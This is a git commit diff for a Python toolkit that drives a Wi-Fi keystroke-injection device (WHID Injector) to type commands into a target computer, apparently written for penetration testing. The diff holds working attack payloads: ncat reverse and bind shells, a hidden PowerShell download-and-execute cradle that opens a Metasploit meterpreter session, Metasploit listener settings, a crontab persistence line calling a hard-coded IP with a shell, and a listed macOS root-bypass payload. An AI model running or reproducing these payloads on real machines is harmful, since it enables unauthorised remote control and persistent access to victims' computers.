README update + Set options + Firmware 2.7.51 + meterpreter

master
Swissky 2018-03-13 09:47:37 +01:00
parent b0a553deba
commit 55a30b4000
10 changed files with 398 additions and 161 deletions

104
.gitignore vendored Normal file
View File

@ -0,0 +1,104 @@
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# pyenv
.python-version
# celery beat schedule file
celerybeat-schedule
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/

View File

@ -3,18 +3,23 @@
What is it ? It's a simple script to send commands (french keyboard) from your terminal to the WHID Injector. It will automatically convert the "azerty" to "qwerty" format. Furthermore it has builtins payload such as reverse-shell and bind-shell. What is it ? It's a simple script to send commands (french keyboard) from your terminal to the WHID Injector. It will automatically convert the "azerty" to "qwerty" format. Furthermore it has builtins payload such as reverse-shell and bind-shell.
**Warning** : Newest version of WHID Toolkit expect the WHID to have a firmware in the prefered language, alternatively you can force the french keyboard with the english firmware using the `--force` arguments.
Where to buy a WHID Injector ? I got mine from [Aliexpress](https://www.aliexpress.com/item/Cactus-Micro-compatible-board-plus-WIFI-chip-esp8266-for-atmega32u4/32318391529.html) Where to buy a WHID Injector ? I got mine from [Aliexpress](https://www.aliexpress.com/item/Cactus-Micro-compatible-board-plus-WIFI-chip-esp8266-for-atmega32u4/32318391529.html)
## How to start ## How to start
Connect to the Access Point with the SSID "**Exploit**" with a password of "**DotAgency**". 1. Connect to the Access Point with the SSID "**Exploit**" with a password of "**DotAgency**".
Open a web browser pointed to "**http://192.168.1.1**" 2. Open a web browser pointed to "**http://192.168.1.1**"
The default administration username is "**admin**" and password "**hacktheplanet**". > The default administration username is "**admin**" and password "**hacktheplanet**".
Remember to upgrade the firmware you will find the version 2.7 in this repository
3. Remember to upgrade the firmware you will find the latest version in this repository
More info on the official Github : https://github.com/whid-injector/WHID More info on the official Github : https://github.com/whid-injector/WHID
## How to use the script ## How to use the script
``` ```c
python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt -a -h 127 ↵ python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt -h
usage: WHIDInjector.py [-h] [-v] [--host [HOST]] [--port [PORT]] usage: WHIDInjector.py [-h] [-v] [--host [HOST]] [--port [PORT]]
[--user [USER]] [--pass [PASS]] [--panel [PANEL]] [--user [USER]] [--pass [PASS]] [--panel [PANEL]]
[--payload [PAYLOAD]] [--payload [PAYLOAD]]
@ -31,14 +36,13 @@ optional arguments:
``` ```
Targeting a Windows OS Targeting a Windows OS
``` ```c
python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt python3 WHIDInjector.py -v --host 127.0.0.1 --port 4242 --payload payloads/windows.txt
``` ```
Send a simple reverse-shell payload Send a simple reverse-shell payload
``` ```
$ python3 WHIDInjector.py -v --host 127.0.0.1 --port 4444 1 ↵ $ python3 WHIDInjector.py -v --host 127.0.0.1 --port 4444
------------------------------------------------------------- -------------------------------------------------------------
WHID injector - You need to be connected to the Exploit AP WHID injector - You need to be connected to the Exploit AP
------------------------------------------------------------- -------------------------------------------------------------
@ -61,9 +65,31 @@ Press:176
Sending payload to http://192.168.1.1/runlivepayload Sending payload to http://192.168.1.1/runlivepayload
``` ```
## Payloads and commands
| Commands | Description |
| :------------- | :------------- |
| bind | initiate a bind shell on results.port |
| reverse | initiate a reverse shell on results.host and results.port|
| meterpreter [https://YOUR_SERVER_IP:4646/posh-payload] | use exploit/multi/script/web_delivery with a posh-payload |
| send some text | send the specified text |
| h | help |
| q | quit |
You can change the options with `SET option_name option_value`
```c
>>> set host 192.168.1.12
>>> set port 4444
```
# What's next ? At the moment the following templates are available, feel free to add more:
TODO change_ssid_name
TODO change_ssid_pass | Template | Description |
TODO update_firmware | :------------- | :------------- |
| payloads/osx_high_sierra_root.txt | CVE-2017-13872 |
| payloads/osx.txt | execute a command with [Cmd]+[Space] |
| payloads/windows.txt | execute a command with [Windows]+[R] |
| payloads/i3.txt | execute a command with [Windows]+[Enter] |
| payloads/gnome.txt | execute a command with [Alt]+[F2] |
| payloads/default.txt | default behavior is the gnome command |
NOTE: The i3 payload uses the [Windows] key as the default modifier, some people prefer to use [CTRL]

View File

@ -1,122 +1,27 @@
#!/usr/bin/python3 #!/usr/bin/python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
# NOTE: python3 WHIDInjector.py -v --host 192.168.10.22 --port 4242 #reverse
import requests import requests
import argparse import argparse
import re import re
from WhidInfo import *
from WhidEngine import *
from pathlib import Path from pathlib import Path
from urllib.parse import urlencode, quote_plus from urllib.parse import urlencode, quote_plus
def banner():
print("""
\033[93m -------------------------------------------------------------\033[0m
\033[1m WHID injector - You need to be connected to the Exploit AP\033[0m
\033[93m -------------------------------------------------------------
__ °
<(o )___
( ._> /
`---'\033[0m @pentest_swissky
""")
print("Enter a payload, eg: bash -c 'nohup ncat 127.0.0.1 4242 -e $SHELL &'")
print("-------------------------------------------------------------------")
def help():
print("--------------[ Events ]--------------")
print("q/exit => exit the program")
print("h/help => display this help message")
print("reverse => use a basic reverse-shell based on ncat")
print("bind => set up a bind-shell")
print("empire URL => download and execute a powershell string")
print("send MSG => write MSG")
print("--------------[ Commands ]--------------")
print("Comment => Rem: Comment")
print("Delay => CustomDelay:1000")
print("Send key => Press:X+Y, Press:131+114")
print("Send text => Print:XYZ")
print("Move mouse => MouseMoveUp:X, MouseMoveDown:X, MouseMoveLeft:X, MouseMoveRight:X")
print("Mouse click => MouseClickLEFT:X, MouseClickRIGHT:X, MouseClickMIDDLE:X")
print("Blink led => BlinkLED:X")
print("The work around for writing a script that requires a '<' is to replace all instances of '<' with '&lt;'.")
print("")
print("--------------[ KeyboardModifiers ]--------------")
print("Key Decimal| Key Decimal")
print("KEY_LEFT_CTRL 128 | KEY_LEFT_SHIFT 129")
print("KEY_LEFT_ALT 130 | KEY_LEFT_GUI 131")
print("KEY_RIGHT_CTRL 132 | KEY_RIGHT_SHIFT 133")
print("KEY_RIGHT_ALT 134 | KEY_RIGHT_GUI 135")
print("KEY_UP_ARROW 218 | KEY_DOWN_ARROW 217")
print("KEY_LEFT_ARROW 216 | KEY_RIGHT_ARROW 215")
print("KEY_BACKSPACE 178 | KEY_TAB 179")
print("KEY_RETURN 176 | KEY_ESC 177")
print("KEY_INSERT 209 | KEY_PAGE_UP 211")
print("KEY_DELETE 212 | KEY_HOME 210")
print("KEY_END 213 | KEY_CAPS_LOCK 193")
print("KEY_F1 194 | KEY_F2 195")
print("KEY_F3 196 | KEY_F4 197")
print("KEY_F5 198 | KEY_F6 199")
print("KEY_F7 200 | KEY_F8 201")
print("KEY_F9 202 | KEY_F10 203")
print("KEY_F11 204 | KEY_F12 205")
def convert_to_keymap(user_input, payload):
# TODO find > < and |
fr_mapping = './mazqwAZQW&é"\'(-è_çà)^$Mù,?;:!§1234567890'
en_mapping = '<>;qwazQWAZ1234567890-[]:\'mM,./?!@#$%^&*()'
user_converted = user_input.translate(str.maketrans(fr_mapping,en_mapping))
user_converted = payload % user_converted
return user_converted
def send_payload(user_converted, panel):
payloads = { "livepayload":user_converted, "livepayloadpresent":1}
encoded = urlencode( payloads, quote_via=quote_plus)
try:
print('Sending payload to %s' % panel)
if not "200" in str(requests.post(panel, data=encoded)):
print("\033[91mError 404, are you connected on the right AP?")
except Exception as e:
print("\033[91mError, couldn't reach the Wifi Portal !")
def update_firmware():
update = "https://github.com/exploitagency/ESPloitV2/releases"
update = requests.get(update).text
regex = re.compile("exploit.*\.bin")
last = "https://github.com/" + regex.findall(update)[0]
name = "-".join(last.split('/')[-2:])
download = Path(name)
if not download.exists():
print("Downloading the last release: %s" % last)
r = requests.get(last, stream=True)
if r.status_code == 200:
with open(name, 'wb') as f:
for chunk in r:
f.write(chunk)
def check_panel(panel):
try:
if not "ESPloit" in requests.get(panel, timeout=1).text:
print("\033[91mError 404, are you connected on the right AP?")
update_firmware()
except Exception as e:
print("\033[91mError, couldn't reach the Wifi Portal !\033[0m")
update_firmware()
if __name__ == "__main__": if __name__ == "__main__":
# Parsing argument from command line # Parsing argument from command line
parser = argparse.ArgumentParser() parser = argparse.ArgumentParser()
parser.add_argument('-v', action='store_true', dest='verbose',help='Verbosity of the output') parser.add_argument('-v', action='store_true', dest='verbose',help='Verbosity of the output')
parser.add_argument('--force', action='store_true', dest='force', help='Force the output in french')
parser.add_argument('--host', nargs='?', default='127.0.0.1', help='Host reverse-shell' ) parser.add_argument('--host', nargs='?', default='127.0.0.1', help='Host reverse-shell' )
parser.add_argument('--port', nargs='?', default='4242', help='Port reverse-shell' ) parser.add_argument('--port', nargs='?', default='4242', help='Port reverse-shell' )
parser.add_argument('--user', nargs='?', default='admin', help='Wifi Panel username') parser.add_argument('--user', nargs='?', default='admin', help='Panel username')
parser.add_argument('--pass', nargs='?', default='hacktheplanet', help='Wifi Panel password') parser.add_argument('--pass', nargs='?', default='hacktheplanet', help='Panel password')
parser.add_argument('--panel',nargs='?', default='http://192.168.1.1', help='Wifi Panel password') parser.add_argument('--panel', nargs='?', default='http://192.168.1.1', help='Panel url')
parser.add_argument('--wifi_ssid', nargs='?', default='Exploit', help='Wifi ssid')
parser.add_argument('--wifi_pass', nargs='?', default='DotAgency', help='Wifi password')
parser.add_argument('--payload', nargs='?', default='payloads/default.txt', help='Payload template') parser.add_argument('--payload', nargs='?', default='payloads/default.txt', help='Payload template')
results = parser.parse_args() results = parser.parse_args()
@ -125,17 +30,47 @@ if __name__ == "__main__":
with open(results.payload,'r') as f: with open(results.payload,'r') as f:
payload = f.read() payload = f.read()
banner() info = WhidInfo()
check_panel(results.panel) whid = WhidEngine(results.panel)
while(True): while(True):
user_input = input("\033[92m>>> \033[0m") user_input = input("\033[92m>>> \033[0m")
# Handling : SET xxxxxx yyyyyy
if user_input.split(" ")[0].upper() == "SET":
options = user_input.split(" ")
if options[1] == "host":
results.host = options[2]
elif options[1] == "port":
results.port = options[2]
elif options[1] == "user":
results.user = options[2]
elif options[1] == "verbose":
results.verbose = options[2].lower() == "true"
elif options[1] == "panel":
results.panel = options[2]
elif options[1] == "wifi_ssid":
results.wifi_ssid = options[2]
elif options[1] == "wifi_pass":
results.wifi_pass = options[2]
elif options[1] == "payload":
results.payload = options[2]
with open(results.payload,'r') as f:
payload = f.read()
else:
print("Unknown option - e.g: SET host 127.0.0.1")
continue
else:
# Simple user interactions # Simple user interactions
if user_input == "q" or user_input=="exit": if user_input == "q" or user_input=="exit":
exit() exit()
elif user_input == "h" or user_input == "help": elif user_input == "h" or user_input == "help":
help() info.help()
info.help_keyboard()
info.help_commands()
continue continue
# Reverse Shell Linux # Reverse Shell Linux
@ -146,36 +81,72 @@ if __name__ == "__main__":
elif "bind" == user_input: elif "bind" == user_input:
user_input = "bash -c 'nohup ncat -lvp %s -e $SHELL -k &'" % (results.port) user_input = "bash -c 'nohup ncat -lvp %s -e $SHELL -k &'" % (results.port)
# Empire or anything for Windows # Meterpreter or anything for Windows
elif "empire" in user_input : elif "meterpreter" in user_input :
# Recommended https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1 """
args = user_input.split(" ") # Use the following to set up the listener
user_input = "powershell -W Hidden -nop -noni -c \"IEX (New-Object Net.Webclient).downloadstring('%s')\"" % args[1] use exploit/multi/script/web_delivery
set SRVHOST YOUR_SERVER_IP
set SRVPORT 4646
set SSL true
set target 2
set URIPATH posh-payload
set payload windows/meterpreter/reverse_https
set ExitOnSession false
set LHOST YOUR_SERVER_IP
set LPORT 4545
exploit -j -z
# E.g: meterpreter https://YOUR_SERVER_IP:4646/posh-payload
"""
if len(user_input.split(" ")) > 1:
msf_host = user_input.split(" ")[1]
else:
msf_host = "https://%s:%s/posh-payload" % (results.host, results.port)
user_input = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$i=new-object net.webclient;$i.proxy=[Net.WebRequest]::GetSystemWebProxy();$i.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $i.downloadstring('%s');" % msf_host
# Send the payload # Send the payload
user_converted = convert_to_keymap(txt, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176") user_converted = whid.convert_to_keymap(user_input, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176", results.force)
send_payload(user_converted, results.panel+"/runlivepayload") whid.send_payload(user_converted, results.panel+"/runlivepayload")
continue
# Send simple text without using a payload chain # Send simple text without using a payload chain
elif 'send' == user_input.split(' ')[0]: elif 'send' == user_input.split(' ')[0]:
# Convert the simple text to keymap # Convert the simple text to keymap
txt = "".join(user_input.split(' ')[1:]) txt = "".join(user_input.split(' ')[1:])
user_converted = convert_to_keymap(txt, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176") user_converted = whid.convert_to_keymap(txt, "CustomDelay:1000\nPrint:%s\nCustomDelay:1000\nPress:176", results.force)
if results.verbose == True: if results.verbose == True:
print('\033[92mText:\033[0m\n%s' % user_converted) print('\033[92mText:\033[0m\n%s' % user_converted)
# Send the payload # Send the payload
send_payload(user_converted, results.panel+"/runlivepayload") whid.send_payload(user_converted, results.panel+"/runlivepayload")
continue continue
# Send evil command with default payload # Send evil command with default payload
if user_input != "": if user_input != "":
# Convert from AZERTY to QWERTY # Convert from AZERTY to QWERTY
user_converted = convert_to_keymap(user_input, payload) user_converted = whid.convert_to_keymap(user_input, payload, results.force)
if results.verbose == True: if results.verbose == True:
print('\033[92mPayload:\033[0m\n%s' % user_converted) print('\033[92mPayload:\033[0m\n%s' % user_converted)
# Send the payload # Send the payload
send_payload(user_converted, results.panel+"/runlivepayload") whid.send_payload(user_converted, results.panel+"/runlivepayload")
"""
export un binary with mapping FR: 2.7.51-ESP_Code.ino.french.bin
empire bug
refactor:
crontab:
(crontab -l ; echo "@reboot sleep 200 && ncat 92.222.81.2 4242 -e /bin/bash")|crontab 2> /dev/null
TODO change_ssid_name
TODO change_ssid_pass
TODO update_firmware
TODO provide a french_keyboard_firmware.bin
"""

63
WhidEngine.py Normal file
View File

@ -0,0 +1,63 @@
import requests
import re
from pathlib import Path
from urllib.parse import urlencode, quote_plus
class WhidEngine(object):
# NOTE: check if the panel is reachable
def __init__(self, panel):
try:
if not "ESPloit" in requests.get(panel, timeout=1).text:
print("\033[91mError 404, are you connected on the right AP?")
self.update_firmware()
except Exception as e:
print (e)
print("\033[91mError, couldn't reach the Wifi Portal !\033[0m")
# NOTE: this update use the last firmware on Github
# You may need to build a new one with your keyboard mapping
def update_firmware(self):
update = "https://github.com/exploitagency/ESPloitV2/releases"
update = requests.get(update).text
regex = re.compile("exploit.*\.bin")
last = "https://github.com/" + regex.findall(update)[0]
name = "firmware/"+"-".join(last.split('/')[-2:])
download = Path(name)
if not download.exists():
print("Downloading the last release: %s" % last)
r = requests.get(last, stream=True)
if r.status_code == 200:
with open(name, 'wb') as f:
for chunk in r:
f.write(chunk)
# NOTE: send the payload to the /runlivepayload page
def send_payload(self, user_converted, panel):
payloads = { "livepayload":user_converted, "livepayloadpresent":1}
encoded = urlencode( payloads, quote_via=quote_plus)
try:
print('Sending payload to %s' % panel)
if not "200" in str(requests.post(panel, data=encoded)):
print("\033[91mError 404, are you connected on the right AP?")
except Exception as e:
print("\033[91mError, couldn't reach the Wifi Portal !")
# NOTE : mapping is use for retro-compatibility
def convert_to_keymap(self, user_input, payload, mapping=False):
if mapping:
# Dirty version, if you don't want to upgrade the firmware
fr_mapping = './mazqwAZQW&é"\'(-è_çà)^$Mù,?;:!§1234567890'
en_mapping = '<>;qwazQWAZ1234567890-[]:\'mM,./?!@#$%^&*()'
user_converted = user_input.translate(str.maketrans(fr_mapping,en_mapping))
else:
user_converted = user_input
# Merge the payload and the user input
user_converted = payload % user_converted
return user_converted

67
WhidInfo.py Normal file
View File

@ -0,0 +1,67 @@
import glob
# NOTE: this class is working as a documentation for the project
class WhidInfo(object):
def __init__(self):
print("""
\033[93m -------------------------------------------------------------\033[0m
\033[1m WHID injector - You need to be connected to the Exploit AP\033[0m
\033[93m -------------------------------------------------------------
__ °
<(o )___
( ._> /
`---'\033[0m @pentest_swissky
""")
print("Enter a payload, eg: bash -c 'nohup ncat 127.0.0.1 4242 -e $SHELL &'")
print("-------------------------------------------------------------------")
def help(self):
print("\033[1m--------------[ Events ]--------------\033[0m")
print("q/exit => exit the program")
print("h/help => display this help message")
print("reverse => use a basic reverse-shell based on ncat")
print("bind => set up a bind-shell")
print("empire URL => download and execute a powershell string")
print("send MSG => write MSG")
print("")
files = glob.glob("payloads/*")
print("\033[1m--------------[ Payloads ]--------------\033[0m")
print("Use these as the following option --payload payload_name")
for filename in files:
print(filename)
print("")
def help_commands(self):
print("\033[1m--------------[ Commands ]--------------\033[0m")
print("Comment => Rem: Comment")
print("Delay => CustomDelay:1000")
print("Send key => Press:X+Y, Press:131+114")
print("Send text => Print:XYZ")
print("Move mouse => MouseMove[Up,Down,Left,Right]:X")
print("Mouse click => MouseClick[LEFT,RIGHT,MIDDLE]:X")
print("Blink led => BlinkLED:X")
print("")
def help_keyboard(self):
print("\033[1m--------------[ KeyboardModifiers ]--------------\033[0m")
print("Key Decimal| Key Decimal")
print("KEY_LEFT_CTRL 128 | KEY_LEFT_SHIFT 129")
print("KEY_LEFT_ALT 130 | KEY_LEFT_GUI 131")
print("KEY_RIGHT_CTRL 132 | KEY_RIGHT_SHIFT 133")
print("KEY_RIGHT_ALT 134 | KEY_RIGHT_GUI 135")
print("KEY_UP_ARROW 218 | KEY_DOWN_ARROW 217")
print("KEY_LEFT_ARROW 216 | KEY_RIGHT_ARROW 215")
print("KEY_BACKSPACE 178 | KEY_TAB 179")
print("KEY_RETURN 176 | KEY_ESC 177")
print("KEY_INSERT 209 | KEY_PAGE_UP 211")
print("KEY_DELETE 212 | KEY_HOME 210")
print("KEY_END 213 | KEY_CAPS_LOCK 193")
print("KEY_F1 194 | KEY_F2 195")
print("KEY_F3 196 | KEY_F4 197")
print("KEY_F5 198 | KEY_F6 199")
print("KEY_F7 200 | KEY_F8 201")
print("KEY_F9 202 | KEY_F10 203")
print("KEY_F11 204 | KEY_F12 205")
print("")

Binary file not shown.

View File

@ -1,4 +1,4 @@
Rem:Command Execution (ALT+F2) Rem:Command Execution for Ubuntu/Debian (ALT+F2)
Press:130+195 Press:130+195
CustomDelay:1000 CustomDelay:1000
Print:%s Print:%s

6
payloads/gnome.txt Normal file
View File

@ -0,0 +1,6 @@
Rem:Command Execution for Ubuntu/Debian (ALT+F2)
Press:130+195
CustomDelay:1000
Print:%s
CustomDelay:1000
Press:176

View File

Before

Width:  |  Height:  |  Size: 171 KiB

After

Width:  |  Height:  |  Size: 171 KiB